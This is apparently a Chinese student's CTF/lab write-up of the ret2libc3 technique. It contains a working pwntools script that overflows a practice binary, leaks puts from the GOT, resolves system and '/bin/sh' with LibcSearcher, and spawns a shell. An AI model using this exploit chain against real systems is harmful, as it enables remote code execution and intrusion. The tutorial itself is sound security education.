基本ROP实验3_ret2libc3

利用ret2libc3实验原理，用pwn的文件来尝试一下。

首先，拿到了一个pwn文件，用IDA女神看看源程序是什么样子的。

这里有read函数，看来可以靠栈的溢出来实现getshell。

这次相比实验二的难点在于不允许使用system函数，然后都需要自己找到。

system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。

也就是说可以通过泄露出某个函数的地址，减去在libc中的相对偏移，就能得到libc的基址，利用system的相对偏移就可以找到system函数。这里利用了puts函数。

为了得到libc中函数的地址，我们用的是got表泄露。涉及到got表与plt表的关系，大家可以去这里看一下。

GOT表和PLT表知识详解 - qq_18661257的专栏 - CSDN博客

国际惯例，看一哈文件保护，果然没什么有效的保护。

接下来就是找system函数的地址，写个脚本，主要是为了实现与pwn文件交互。

from pwn import *   

from LibcSearcher import *   #库函数LibcSearcher

import pwnlib    #能够进行动态调试

这两句可以理解为搭调试的环境，方便动态调试。

context.log_level='debug'

context.terminal=['gnome-terminal','-x','sh','-c'] 

下面进行puts地址的泄露。

p=process('./pwn') #创建进程

elf=ELF('./pwn') #以ELF为格式创建对象

main=0x080484FD  #主函数地址

payload='a'*112+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])

pwnlib.gdb,attach(p)

p.recvuntil('try\n')

p.sendline(payload)

puts=u32(p.recv(4)) #解包，取前四个

print('puts',hex(puts))

我们是在文件第一次执行的时候泄露puts。payload的作用如下图所示，将read函数的返回值赋为puts.plt，main函数的地址又为puts函数的返回值，puts.got作为puts函数的参数，泄露puts函数的地址。

主函数的地址在IDA里可以看到，至于填充多少个字符，方法在实验二讲述过。

main = 0x080484FD

接下来就是利用泄露出来的地址找到system和字符串_bin_sh。

LIbcSearcher利用泄露的puts函数的地址找到libc的版本，libc.dump可以查出偏移量，进而找出libcbase，也就是库函数的基址，再加上system的偏移就可以得到它的地址。

libc =LibcSearcher('puts',puts)

libcbase=puts-libc.dump('puts')

system=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

print('system',hex(system))       #将system的地址打印出来

print('binsh',hex(bin_sh))        #将bin_sh打印

payload='a'*104+p32(system)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)

p.interactive() #交互

在脚本终端可以看到打印的地址。

puts：0xf7df9140

system:   0xf7dd4940

binsh:  0xf7ef302b

输入ls，可以看到电脑中的文件，getshell，也可以看看我是谁，hh。

唉，实验做出来不容易，环境崩了以后调了好久，网上的方法都试过了，没有用（Tina噜，我的电脑和大家的不一样妈？！！！）。

最后将编译器重新装了一遍就好了......哭辽。